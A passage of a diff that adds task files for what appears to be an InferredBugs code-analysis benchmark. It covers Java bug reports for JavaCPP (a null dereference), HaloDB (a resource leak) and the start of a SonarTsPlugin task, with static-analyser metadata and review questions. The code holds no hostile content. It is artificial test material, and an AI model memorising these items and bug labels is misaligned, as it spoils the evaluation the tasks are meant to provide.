+ * along with JavaCPP.  If not, see <http://www.gnu.org/licenses/>.
+ */
+
+package com.googlecode.javacpp;
+
+import com.googlecode.javacpp.annotation.Platform;
+import java.io.File;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.InputStreamReader;
+import java.net.URL;
+import java.util.Collections;
+import java.util.HashMap;
+import java.util.LinkedList;
+import java.util.Map;
+import java.util.MissingResourceException;
+import java.util.Properties;
+import java.util.WeakHashMap;
+import java.util.logging.Level;
+import java.util.logging.Logger;
+
+/**
+ * The Loader contains functionality to load native libraries, but also has a bit
+ * of everything that does not fit anywhere else. In addition to its loading features,
+ * it also has utility methods to get the platform name and its properties from Java
+ * resources, to append to them properties from Class annotations, to extract file
+ * resources to the temporary directory, and to get the {@code offsetof()} or
+ * {@code sizeof()} a native {@code struct}, {@code class}, or {@code union} with
+ * its {@link Pointer} peer class and a {@link HashMap} initialized by the native libraries.
+ *
+ * @author Samuel Audet
+ */
+public class Loader {
+
+    private static final Logger logger = Logger.getLogger(Loader.class.getName());
+
+    /** Platform name set and returned by {@link #getPlatformName()} and {@link #setPlatformName(String)}. */
+    private static String platformName = null;
+    /** Default platform properties loaded and returned by {@link #getProperties()}. */
+    private static Properties platformProperties = null;
+
+    /**
+     * Creates a {@link #platformName} out of {@link System#getProperty(String)} if {@code null}.
+     *
+     * @return {@link #platformName}
+     */
+    public static String getPlatformName() {
+        if (platformName != null) {
+            return platformName;
+        }
+        String jvmName = System.getProperty("java.vm.name").toLowerCase();
+        String osName  = System.getProperty("os.name").toLowerCase();
+        String osArch  = System.getProperty("os.arch").toLowerCase();
+        if (jvmName.startsWith("dalvik") && osName.startsWith("linux")) {
+            osName = "android";
+        } else if (osName.startsWith("mac os x")) {
+            osName = "macosx";
+        } else {
+            int spaceIndex = osName.indexOf(' ');
+            if (spaceIndex > 0) {
+                osName = osName.substring(0, spaceIndex);
+            }
+        }
+        if (osArch.equals("i386") || osArch.equals("i486") || osArch.equals("i586") || osArch.equals("i686")) {
+            osArch = "x86";
+        } else if (osArch.equals("amd64") || osArch.equals("x86-64")) {
+            osArch = "x86_64";
+        } else if (osArch.startsWith("arm")) {
+            osArch = "arm";
+        }
+        return platformName = osName + "-" + osArch;
+    }
+    /**
+     * Lets the user set {@link #platformName} in case {@link #getPlatformName()} gets it wrong.
+     *
+     * @param platformName value of the platformName
+     */
+    public static void setPlatformName(String platformName) {
+        Loader.platformName = platformName;
+        Loader.platformProperties = null;
+    }
+
+    /**
+     * Get the {@link Properties} associated with the default {@link #platformName}.
+     *
+     * @see #getProperties(String)
+     */
+    public static Properties getProperties() {
+        if (platformProperties != null) {
+            return platformProperties;
+        }
+        return platformProperties = getProperties(getPlatformName());
+    }
+    /**
+     * Get from resources the default {@link Properties} of the specified platform name.
+     *
+     * @param name the platform name
+     * @return the Properties from resources
+     */
+    public static Properties getProperties(String name) {
+        Properties p = new Properties();
+        p.put("platform.name", name);
+        name = "properties/" + name + ".properties";
+        InputStream is = Loader.class.getResourceAsStream(name);
+        try {
+            try {
+                p.load(new InputStreamReader(is));
+            } catch (NoSuchMethodError e) {
+                p.load(is);
+            }
+        } catch (Exception e) {
+            name = "properties/generic.properties";
+            is = Loader.class.getResourceAsStream(name);
+            try {
+                try {
+                    p.load(new InputStreamReader(is));
+                } catch (NoSuchMethodError e2) {
+                    p.load(is);
+                }
+            } catch (Exception e2) {
+                throw new MissingResourceException("Could not even get generic properties: " +
+                        e2.getMessage(), Loader.class.getName(), name);
+            }
+        }
+        return p;
+    }
+
+    /**
+     * Appends to properties the ones from Class annotations. If no properties are
+     * found on the class, makes a search for the first enclosing class with properties
+     * that we can use, appends those properties, and returns the enclosing Class used.
+     *
+     * @param properties the Properties to update
+     * @param cls the Class from which to take new Properties
+     * @return the actual enclosing Class on which we found the Properties
+     */
+    public static Class appendProperties(Properties properties, Class cls) {
+        Class<?> c = cls;
+        // Find first enclosing declaring class with some properties to use
+        while (c.getDeclaringClass() != null) {
+            if (c.isAnnotationPresent(com.googlecode.javacpp.annotation.Properties.class)) {
+                break;
+            }
+            if (c.isAnnotationPresent(Platform.class)) {
+                Platform p = c.getAnnotation(Platform.class);
+                if (p.define().length > 0 || p.include().length > 0 || p.cinclude().length > 0 ||
+                        p.includepath().length > 0 || p.options().length > 0 || p.linkpath().length > 0 ||
+                        p.link().length > 0 || p.framework().length > 0 ||  p.preloadpath().length > 0 ||
+                        p.preload().length > 0 || p.library().length() > 0) {
+                    break;
+                }
+            }
+            c = c.getDeclaringClass();
+        }
+        String platformName = properties.getProperty("platform.name");
+        com.googlecode.javacpp.annotation.Properties classProperties =
+                c.getAnnotation(com.googlecode.javacpp.annotation.Properties.class);
+        Platform[] platforms;
+        if (classProperties == null) {
+            try {
+                Platform platform = c.getAnnotation(Platform.class);
+                if (platform == null) {
+                    return c;
+                } else {
+                    platforms = new Platform[] { platform };
+                }
+            } catch (Throwable t) {
+                logger.log(Level.WARNING, "Could not append properties for " + c.getCanonicalName() + ": " + t);
+                return c;
+            }
+        } else {
+            platforms = classProperties.value();
+        }
+
+        String[] define = {}, include = {}, cinclude = {}, includepath = {}, options = {},
+                 linkpath = {}, link = {}, framework = {}, preloadpath = {}, preload = {};
+        String library = "jni" + c.getSimpleName();
+        for (Platform p : platforms) {
+            String[][] names = { p.value(), p.not() };
+            boolean[] matches = { false, false };
+            for (int i = 0; i < names.length; i++) {
+                for (String s : names[i]) {
+                    if (platformName.startsWith(s)) {
+                        matches[i] = true;
+                        break;
+                    }
+                }
+            }
+            if ((names[0].length == 0 || matches[0]) && (names[1].length == 0 || !matches[1])) {
+                if (p.define()     .length > 0) { define      = p.define();      }
+                if (p.include()    .length > 0) { include     = p.include();     }
+                if (p.cinclude()   .length > 0) { cinclude    = p.cinclude();    }
+                if (p.includepath().length > 0) { includepath = p.includepath(); }
+                if (p.options()    .length > 0) { options     = p.options();     }
+                if (p.linkpath()   .length > 0) { linkpath    = p.linkpath();    }
+                if (p.link()       .length > 0) { link        = p.link();        }
+                if (p.framework()  .length > 0) { framework   = p.framework();   }
+                if (p.preloadpath().length > 0) { preloadpath = p.preloadpath(); }
+                if (p.preload()    .length > 0) { preload     = p.preload();     }
+                if (p.library().length() > 0)   { library     = p.library();     }
+            }
+        }
+
+        String s = properties.getProperty("path.separator");
+        appendProperty(properties, "generator.define",   "\u0000", define);
+        appendProperty(properties, "generator.include",  "\u0000", include);
+        appendProperty(properties, "generator.cinclude", "\u0000", cinclude);
+        appendProperty(properties, "compiler.includepath",      s, includepath);
+        if (options.length > 0) {
+            String defaultOptions = properties.getProperty("compiler.options");
+            properties.setProperty("compiler.options", "");
+            for (int i = 0; i < options.length; i++) {
+                String o = defaultOptions;
+                if (options[i].length() > 0 && ((o = properties.getProperty("compiler.options." + options[i])) == null)) {
+                    logger.log(Level.WARNING, "Could not find a property name \"compiler.options." + options[i] + "\".");
+                } else {
+                    appendProperty(properties, "compiler.options", " ", o);
+                }
+            }
+        }
+        appendProperty(properties, "compiler.linkpath",         s, linkpath);
+        appendProperty(properties, "compiler.link",             s, link);
+        appendProperty(properties, "compiler.framework",        s, framework);
+        appendProperty(properties, "loader.preloadpath",        s, linkpath);
+        appendProperty(properties, "loader.preloadpath",        s, preloadpath);
+        appendProperty(properties, "loader.preload",            s, link);
+        appendProperty(properties, "loader.preload",            s, preload);
+        properties.setProperty("loader.library", library);
+        return c;
+    }
+
+    /**
+     * Appends new property values to a given key name of the properties.
+     *
+     * @param properties the Properties to update
+     * @param name the key name of the property to update
+     * @param separator the separator character to use for splitting and merging values
+     * @param values the property values to append, either an array or merged with separators
+     */
+    public static void appendProperty(Properties properties, String name,
+            String separator, String ... values) {
+        if (values == null || values.length == 0) {
+            return;
+        } else if (values.length == 1 && values[0] != null) {
+            values = values[0].split(separator);
+        }
+        String oldValue = properties.getProperty(name, "");
+        String[] oldValues = oldValue.split(separator);
+        String value = "";
+    next:
+        for (String v : values) {
+            if (v == null || v.length() == 0) {
+                continue;
+            }
+            for (String ov : oldValues) {
+                if (v.equals(ov)) {
+                    continue next;
+                }
+            }
+            if (value.length() > 0 && !value.endsWith(separator)) {
+                value += separator;
+            }
+            value += v;
+        }
+        if (value.length() > 0 && oldValue.length() > 0) {
+            value += separator;
+        }
+        properties.setProperty(name, value + oldValue);
+    }
+
+    /**
+     * Returns the {@link Class} object that contains a caller's method.
+     *
+     * @param i the offset on the call stack of the method of interest
+     * @return the Class found from the calling context, or {@code null} if not found
+     */
+    public static Class getCallerClass(int i) {
+        Class[] classContext = new SecurityManager() {
+            @Override public Class[] getClassContext() {
+                return super.getClassContext();
+            }
+        }.getClassContext();
+        if (classContext != null) {
+            for (int j = 0; j < classContext.length; j++) {
+                if (classContext[j] == Loader.class) {
+                    return classContext[i+j];
+                }
+            }
+        } else {
+            // SecurityManager.getClassContext() returns null on Android 4.0
+            try {
+                StackTraceElement[] classNames = Thread.currentThread().getStackTrace();
+                for (int j = 0; j < classNames.length; j++) {
+                    if (Class.forName(classNames[j].getClassName()) == Loader.class) {
+                        return Class.forName(classNames[i+j].getClassName());
+                    }
+                }
+            } catch (ClassNotFoundException e) { }
+        }
+        return null;
+    }
+
+    /**
+     * Extracts by name a resource using the {@link ClassLoader} of the caller.
+     *
+     * @param name the name of the resource passed to {@link Class#getResource(String)}
+     * @see #extractResource(URL, File, String, String)
+     */
+    public static File extractResource(String name, File directory,
+            String prefix, String suffix) throws IOException {
+        Class cls = getCallerClass(2);
+        return extractResource(cls, name, directory, prefix, suffix);
+    }
+    /**
+     * Extracts by name a resource using the {@link ClassLoader} of the specified {@link Class}.
+     *
+     * @param cls the Class from which to load resources
+     * @param name the name of the resource passed to {@link Class#getResource(String)}
+     * @see #extractResource(URL, File, String, String)
+     */
+    public static File extractResource(Class cls, String name, File directory,
+            String prefix, String suffix) throws IOException {
+        return extractResource(cls.getResource(name), directory, prefix, suffix);
+    }
+    /**
+     * Extracts a resource into the specified directory and with the specified
+     * prefix and suffix for the filename. If both prefix and suffix are {@code null},
+     * the original filename is used, so the directory must not be {@code null}.
+     *
+     * @param resourceURL the URL of the resource to extract
+     * @param directory the output directory ({@code null == System.getProperty("java.io.tmpdir")})
+     * @param prefix the prefix of the temporary filename to use
+     * @param suffix the suffix of the temporary filename to use
+     * @return the File object representing the extracted file
+     * @throws IOException if fails to extract resource properly
+     */
+    public static File extractResource(URL resourceURL, File directory,
+            String prefix, String suffix) throws IOException {
+        InputStream is = resourceURL != null ? resourceURL.openStream() : null;
+        if (is == null) {
+            return null;
+        }
+        File file = null;
+        boolean fileExisted = false;
+        try {
+            if (prefix == null && suffix == null) {
+                if (directory == null) {
+                    directory = new File(System.getProperty("java.io.tmpdir"));
+                }
+                file = new File(directory, new File(resourceURL.getPath()).getName());
+                fileExisted = file.exists();
+            } else {
+                file = File.createTempFile(prefix, suffix, directory);
+            }
+            FileOutputStream os = new FileOutputStream(file);
+            byte[] buffer = new byte[1024];
+            int length;
+            while ((length = is.read(buffer)) != -1) {
+                os.write(buffer, 0, length);
+            }
+            is.close();
+            os.close();
+        } catch (IOException e) {
+            if (file != null && !fileExisted) {
+                file.delete();
+            }
+            throw e;
+        }
+        return file;
+    }
+
+
+    /** Temporary directory set and returned by {@link #getTempDir()}. */
+    static File tempDir = null;
+    /** Flag set by the {@link Builder} to tell us not to try to load anything. */
+    static boolean loadLibraries = true;
+    /** Contains all the native libraries that we have loaded to avoid reloading them. */
+    static Map<String,String> loadedLibraries = Collections.synchronizedMap(new HashMap<String,String>());
+
+    /**
+     * Creates a unique name for {@link #tempDir} out of
+     * {@code System.getProperty("java.io.tmpdir")} and {@code System.nanoTime()}.
+     *
+     * @return {@link #tempDir}
+     */
+    public static File getTempDir() {
+        if (tempDir == null) {
+            File tmpdir = new File(System.getProperty("java.io.tmpdir"));
+            File f = null;
+            for (int i = 0; i < 1000; i++) {
+                f = new File(tmpdir, "javacpp" + System.nanoTime());
+                if (f.mkdir()) {
+                    tempDir = f;
+                    tempDir.deleteOnExit();
+                    break;
+                }
+            }
+        }
+        return tempDir;
+    }
+
+    /** @return {@link #loadLibraries} */
+    public static boolean isLoadLibraries() {
+        return loadLibraries;
+    }
+
+    /**
+     * Loads native libraries associated with the {@link Class} of the caller.
+     * @see #load(Class)
+     */
+    public static String load() {
+        Class cls = getCallerClass(2);
+        return load(cls);
+    }
+    /**
+     * Loads native libraries associated with the given {@link Class}.
+     *
+     * @param cls the Class to get native library information from
+     * @return the full path of the file, or the library name,  loaded
+     *         (but {@code if (!loadLibraries || cls == null) { return null; }})
+     * @throws NoClassDefFoundError on Class initialization failure
+     * @throws UnsatisfiedLinkError on native library loading failure
+     */
+    public static String load(Class cls) {
+        if (!loadLibraries || cls == null) {
+            return null;
+        }
+
+        // Find the top enclosing class, to match the library filename
+        Properties p = (Properties)getProperties().clone();
+        cls = appendProperties(p, cls);
+
+        // Force initialization of the class in case it needs it
+        try {
+            cls = Class.forName(cls.getName(), true, cls.getClassLoader());
+        } catch (ClassNotFoundException ex) {
+            Error e = new NoClassDefFoundError(ex.toString());
+            e.initCause(ex);
+            throw e;
+        }
+
+        // Preload native libraries desired by our class
+        String pathSeparator = p.getProperty("path.separator");
+        String platformRoot  = p.getProperty("platform.root");
+        if (platformRoot != null && !platformRoot.endsWith(File.separator)) {
+            platformRoot += File.separator;
+        }
+        String preloadPath      = p.getProperty("loader.preloadpath");
+        String preloadLibraries = p.getProperty("loader.preload");
+        UnsatisfiedLinkError preloadError = null;
+        if (preloadLibraries != null) {
+            String[] preloadPaths = preloadPath == null ? null : preloadPath.split(pathSeparator);
+            if (preloadPaths != null && platformRoot != null) {
+                for (int i = 0; i < preloadPaths.length; i++) {
+                    if (!new File(preloadPaths[i]).isAbsolute()) {
+                        preloadPaths[i] = platformRoot + preloadPaths[i];
+                    }
+                }
+            }
+            String[] libnames = preloadLibraries.split(pathSeparator);
+            for (int i = 0; i < libnames.length; i++) {
+                try {
+                    loadLibrary(cls, preloadPaths, libnames[i]);
+                } catch (UnsatisfiedLinkError e) {
+                    preloadError = e;
+                }
+            }
+        }
+
+        try {
+            return loadLibrary(cls, null, p.getProperty("loader.library"));
+        } catch (UnsatisfiedLinkError e) {
+            if (preloadError != null) {
+                e.initCause(preloadError);
+            }
+            throw e;
+        }
+    }
+
+    /**
+     * Tries to load library from the caller's {@link Class} resources or {@link System#loadLibrary(String)}.
+     * @see #loadLibrary(Class, String[], String)
+     */
+    public static String loadLibrary(String libnameversion) {
+        Class cls = getCallerClass(2);
+        return loadLibrary(cls, null, libnameversion);
+    }
+    /**
+     * Tries to load library from the caller's {@link Class} resources, the paths, or {@link System#loadLibrary(String)}.
+     * @see #loadLibrary(Class, String[], String)
+     */
+    public static String loadLibrary(String[] paths, String libnameversion) {
+        Class cls = getCallerClass(2);
+        return loadLibrary(cls, paths, libnameversion);
+    }
+    /**
+     * First tries to extract and load the library from the {@link Class} resources,
+     * but if fails, continues to try loading from the paths (if not {@code null}),
+     * and finally {@link System#loadLibrary(String)}.
+     *
+     * @param cls the Class whose package name and {@link ClassLoader} are used to extract from resources
+     * @param paths the directories to scan for if we fail to extract the library from resources
+     * @param libnameversion the name of the library + "@" + optional version tag
+     * @return the full path of the file, or the library name,  loaded
+     *         (but {@code if (!loadLibraries || cls == null) { return null; }})
+     * @throws UnsatisfiedLinkError on failure
+     */
+    public static String loadLibrary(Class cls, String[] paths, String libnameversion) {
+        if (!loadLibraries || cls == null) {
+            return null;
+        }
+        String className = cls.getName();
+        int packageIndex = className.lastIndexOf('.');
+        String packageName = packageIndex != -1 ? className.substring(0, packageIndex + 1) : "";
+        String hashkey = packageName + libnameversion;
+
+        // If we do not already have the native library file ...
+        String filename = loadedLibraries.get(hashkey);
+        if (filename != null) {
+            return filename;
+        }
+
+        String[] s = libnameversion.split("@");
+        String libname = s[0];
+        String version = s.length > 1 ? s[s.length-1] : "";
+
+        Properties p = getProperties();
+        String subdir = p.getProperty("platform.name") + '/';
+        String prefix = p.getProperty("library.prefix") + libname;
+        String suffix = p.getProperty("library.suffix");
+        URL resourceURL = cls.getResource(subdir + prefix + suffix + version); // Linux style
+        if (resourceURL == null) {
+            resourceURL = cls.getResource(subdir + prefix + version + suffix); // Mac OS X style
+        }
+        if (resourceURL == null) {
+            resourceURL = cls.getResource(subdir + prefix + suffix); // without version
+        }
+
+        File tempFile = null;
+        UnsatisfiedLinkError loadError = null;
+        try {
+            if (resourceURL != null) {
+                // ... then extract it from our resources ...
+                tempFile = extractResource(resourceURL, getTempDir(), null, null);
+                // ... and load it!
+                String tempFilename = tempFile.getAbsolutePath();
+                loadedLibraries.put(hashkey, tempFilename);
+                System.load(tempFilename);
+                return tempFilename;
+            } else {
+                // throw new UnsatisfiedLinkError("Could not find library resource: " + resourceName);
+                // If not found in resources, search the paths instead ...
+                for (int j = 0; paths != null && j < paths.length; j++) {
+                    File file = new File(paths[j], prefix + suffix + version); // Linux style
+                    if (!file.exists()) {
+                         file = new File(paths[j], prefix + version + suffix); // Mac OS X style
+                    }
+                    if (!file.exists()) {
+                         file = new File(paths[j], prefix + suffix); // without version
+                    }
+                    if (file.exists()) {
+                        filename = file.getPath();
+                        try {
+                            loadedLibraries.put(hashkey, filename);
+                            System.load(filename);
+                            return filename;
+                        } catch (UnsatisfiedLinkError e) {
+                            loadError = e;
+                            loadedLibraries.remove(hashkey);
+                        }
+                    }
+                }
+                // ... or as last resort, try to load it via the system.
+                loadedLibraries.put(hashkey, libname);
+                System.loadLibrary(libname);
+                return libname;
+            }
+        } catch (UnsatisfiedLinkError e) {
+            loadedLibraries.remove(hashkey);
+            if (loadError != null) {
+                throw loadError;
+            } else {
+                throw e;
+            }
+        } catch (IOException ex) {
+            loadedLibraries.remove(hashkey);
+            Error e = new UnsatisfiedLinkError(ex.toString());
+            e.initCause(ex);
+            throw e;
+        } finally {
+            if (tempFile != null && tempFile.exists()) {
+                tempFile.deleteOnExit();
+            }
+            // But under Windows, it won't get deleted!
+        }
+    }
+
+    // So, let's use a shutdown hook...
+    static {
+        if (getPlatformName().startsWith("windows")) {
+            Runtime.getRuntime().addShutdownHook(new Thread() {
+                @Override public void run() {
+                    if (tempDir == null) {
+                        return;
+                    }
+                    try {
+                        // ... to launch a separate process ...
+                        LinkedList<String> command = new LinkedList<String>();
+                        command.add(System.getProperty("java.home") + "/bin/java");
+                        command.add("-classpath");
+                        command.add(System.getProperty("java.class.path"));
+                        command.add(Loader.class.getName());
+                        command.add(tempDir.getAbsolutePath());
+                        new ProcessBuilder(command).start();
+                    } catch (IOException e) {
+                        throw new RuntimeException(e);
+                    }
+                }
+            });
+        }
+    }
+
+    // ... that makes sure to delete all our files.
+    public static void main(String[] args) {
+        File tmpdir = new File(System.getProperty("java.io.tmpdir"));
+        File tempDir = new File(args[0]);
+        if (!tmpdir.equals(tempDir.getParentFile()) ||
+                !tempDir.getName().startsWith("javacpp")) {
+            // Someone is trying to break us ... ?
+            return;
+        }
+        for (File file : tempDir.listFiles()) {
+            while (file.exists() && !file.delete()) {
+                try {
+                    Thread.sleep(100);
+                } catch (InterruptedException e) { }
+            }
+        }
+        tempDir.delete();
+    }
+
+
+    /**
+     * Contains {@code offsetof()} and {@code sizeof()} values of native types
+     * of {@code struct}, {@code class}, and {@code union}. A {@link WeakHashMap}
+     * is used to prevent the Loader from hanging onto Class objects the user may
+     * be trying to unload.
+     */
+    static WeakHashMap<Class<? extends Pointer>,HashMap<String,Integer>> memberOffsets =
+            new WeakHashMap<Class<? extends Pointer>,HashMap<String,Integer>>();
+
+    /**
+     * Called by native libraries to put {@code offsetof()} and {@code sizeof()} values in {@link #memberOffsets}.
+     * Tries to load the Class object for typeName using the {@link ClassLoader} of the Loader.
+     *
+     * @param typeName the name of the peer Class acting as interface to the native type
+     * @param member the name of the native member variable
+     * @param offset the value of {@code offsetof()} (or {@code sizeof()} when {@code member.equals("sizeof")})
+     * @throws ClassNotFoundException on Class initialization failure
+     */
+    static void putMemberOffset(String typeName, String member, int offset) throws ClassNotFoundException {
+        Class<?> c = Class.forName(typeName.replace('/', '.'), false, Loader.class.getClassLoader());
+        putMemberOffset(c.asSubclass(Pointer.class), member, offset);
+    }
+    /**
+     * Called by native libraries to put {@code offsetof()} and {@code sizeof()} values in {@link #memberOffsets}.
+     *
+     * @param type the peer Class acting as interface to the native type
+     * @param member the name of the native member variable
+     * @param offset the value of {@code offsetof()} (or {@code sizeof()} when {@code member.equals("sizeof")})
+     */
+    static synchronized void putMemberOffset(Class<? extends Pointer> type, String member, int offset) {
+        HashMap<String,Integer> offsets = memberOffsets.get(type);
+        if (offsets == null) {
+            memberOffsets.put(type, offsets = new HashMap<String,Integer>());
+        }
+        offsets.put(member, offset);
+    }
+
+    /**
+     * Gets {@code offsetof()} values from {@link #memberOffsets} filled by native libraries.
+     *
+     * @param type the peer Class acting as interface to the native type
+     * @param member the name of the native member variable
+     * @return {@code memberOffsets.get(type).get(member)}
+     */
+    public static int offsetof(Class<? extends Pointer> type, String member) {
+        // Should we synchronize that?
+        return memberOffsets.get(type).get(member);
+    }
+
+    /**
+     * Gets {@code sizeof()} values from {@link #memberOffsets} filled by native libraries.
+     *
+     * @param type the peer Class acting as interface to the native type
+     * @return {@code memberOffsets.get(type).get("sizeof")}
+     */
+    public static int sizeof(Class<? extends Pointer> type) {
+        // Should we synchronize that?
+        return memberOffsets.get(type).get("sizeof");
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `libnames` last assigned on line 478 could be null and is dereferenced at line 479.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+String Loader.load(Class)
+
+### Procedure Id:
+com.googlecode.javacpp.Loader.load(java.lang.Class):java.lang.String.a5dffc349e316731f3aa2cac3cf0f4a4
+
+### File:
+src/main/java/com/googlecode/javacpp/Loader.java
+
+### Key:
+Loader.java|load|NULL_DEREFERENCE
+
+### Node Key:
+57a86cabad769b98ba4bb221beb4a196
+
+### Hash:
+ad71967a5de3a1142e593725e57f1241
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-9331/instruction.md b/inferredbugs-9331/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..7d480d77bf77c026d1257d1162a0da5bcf12e81c
--- /dev/null
+++ b/inferredbugs-9331/instruction.md
@@ -0,0 +1,158 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** HaloDB
+**Bug ID:** 8
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package amannaly;
+
+import org.testng.Assert;
+import org.testng.annotations.Test;
+
+import java.io.File;
+import java.io.IOException;
+import java.nio.file.Paths;
+import java.util.List;
+
+/**
+ * @author Arjun Mannaly
+ */
+public class DBRepairTest extends TestBase {
+
+    @Test
+    public void testRepairDB() throws IOException {
+        String directory = Paths.get("tmp", "DBRepairTest", "testRepairDB").toString();
+
+        HaloDBOptions options = new HaloDBOptions();
+        options.maxFileSize = 1024 * 1024;
+
+        HaloDB db = getTestDB(directory, options);
+        int noOfRecords = 5 * 1024 + 512;
+
+        List<Record> records = TestUtils.insertRandomRecordsOfSize(db, noOfRecords, 1024-Record.Header.HEADER_SIZE);
+
+        File latestDataFile = TestUtils.getLatestDataFile(directory);
+
+        db.close();
+
+        // trick the db to think that there was an unclean shutdown.
+        DBMetaData dbMetaData = new DBMetaData(directory);
+        dbMetaData.setOpen(true);
+        dbMetaData.storeToFile();
+
+        db = getTestDBWithoutDeletingFiles(directory, options);
+
+        // latest file should have been repaired and deleted. 
+        Assert.assertFalse(latestDataFile.exists());
+
+        Assert.assertEquals(db.size(), noOfRecords);
+        for (Record r : records) {
+            Assert.assertEquals(db.get(r.getKey()), r.getValue());
+        }
+    }
+
+    @Test
+    public void testRepairDBWithCompaction() throws IOException, InterruptedException {
+        String directory = Paths.get("tmp", "DBRepairTest", "testRepairDBWithCompaction").toString();
+
+        HaloDBOptions options = new HaloDBOptions();
+        options.maxFileSize = 1024 * 1024;
+
+        HaloDB db = getTestDB(directory, options);
+        int noOfRecords = 5 * 1024 + 512;
+
+        List<Record> records = TestUtils.insertRandomRecordsOfSize(db, noOfRecords, 1024-Record.Header.HEADER_SIZE);
+        records = TestUtils.updateRecords(db, records);
+
+        TestUtils.waitForMergeToComplete(db);
+
+        File latestDataFile = TestUtils.getLatestDataFile(directory);
+        File latestCompactionFile = TestUtils.getLatestCompactionFile(directory);
+
+        db.close();
+
+        // trick the db to think that there was an unclean shutdown.
+        DBMetaData dbMetaData = new DBMetaData(directory);
+        dbMetaData.setOpen(true);
+        dbMetaData.storeToFile();
+
+        db = getTestDBWithoutDeletingFiles(directory, options);
+
+        // latest file should have been repaired and deleted.
+        Assert.assertFalse(latestDataFile.exists());
+        Assert.assertFalse(latestCompactionFile.exists());
+
+        Assert.assertEquals(db.size(), noOfRecords);
+        for (Record r : records) {
+            Assert.assertEquals(db.get(r.getKey()), r.getValue());
+        }
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `amannaly.cache.linked.OHCacheLinkedImpl` acquired by call to `getTestDB(...)` at line 23 is not released after line 37.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void DBRepairTest.testRepairDB()
+
+### Procedure Id:
+amannaly.DBRepairTest.testRepairDB():void.1e005b506a960a4d20d7e069dc4ebf7a
+
+### File:
+src/test/java/amannaly/DBRepairTest.java
+
+### Key:
+DBRepairTest.java|testRepairDB|RESOURCE_LEAK
+
+### Node Key:
+d91afdc43fc8c30da782b7736b1a7f25
+
+### Hash:
+1745fbef088ed8981aa2d319cdae6b8a
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-9412/instruction.md b/inferredbugs-9412/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..7a4b31aa2a9390d16e9c8fa108fad97c024ffd23
--- /dev/null
+++ b/inferredbugs-9412/instruction.md
@@ -0,0 +1,273 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** SonarTsPlugin
+**Bug ID:** 2
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package com.pablissimo.sonar;
+
+import java.io.BufferedReader;
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.IOException;
+import java.io.InputStreamReader;
+import java.util.ArrayList;
+import java.util.List;
+
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+import org.sonar.api.utils.System2;
+import org.sonar.api.utils.TempFolder;
+import org.sonar.api.utils.command.Command;
+import org.sonar.api.utils.command.CommandExecutor;
+import org.sonar.api.utils.command.StreamConsumer;
+import org.sonar.api.utils.command.StringStreamConsumer;
+
+public class TsLintExecutorImpl implements TsLintExecutor {
+    public static final int MAX_COMMAND_LENGTH = 4096;
+    private static final Logger LOG = LoggerFactory.getLogger(TsLintExecutorImpl.class);
+
+    private boolean mustQuoteSpaceContainingPaths = false;
+    private TempFolder tempFolder;
+    
+    public TsLintExecutorImpl(System2 system, TempFolder tempFolder) {
+        this.mustQuoteSpaceContainingPaths = system.isOsWindows();
+        this.tempFolder = tempFolder;
+    }
+    
+    private String preparePath(String path) {
+        if (path == null) {
+            return null;
+        }
+        else if (path.contains(" ") && this.mustQuoteSpaceContainingPaths) {
+            return '"' + path + '"';
+        }
+        else {
+            return path;
+        }
+    }
+    
+    private Command getBaseCommand(TsLintExecutorConfig config, String tempPath) {
+        Command command =
+                Command
+                .create("node")
+                .addArgument(this.preparePath(config.getPathToTsLint()))
+                .addArgument("--format")
+                .addArgument("json");
+
+        String rulesDir = config.getRulesDir();
+        if (rulesDir != null && rulesDir.length() > 0) {
+            command
+                .addArgument("--rules-dir")
+                .addArgument(this.preparePath(rulesDir));
+        }
+        
+        if (tempPath != null && tempPath.length() > 0) {
+            command
+                .addArgument("--out")
+                .addArgument(this.preparePath(tempPath));
+        }
+
+        command
+            .addArgument("--config")
+            .addArgument(this.preparePath(config.getConfigFile()));
+        
+        if (config.useTsConfigInsteadOfFileList()) {
+            command
+                .addArgument("--project")
+                .addArgument(this.preparePath(config.getPathToTsConfig()));
+        }
+        
+        if (config.shouldPerformTypeCheck()) {
+            command
+                .addArgument("--type-check");
+        }
+
+        command.setNewShell(false);
+
+        return command;
+    }
+
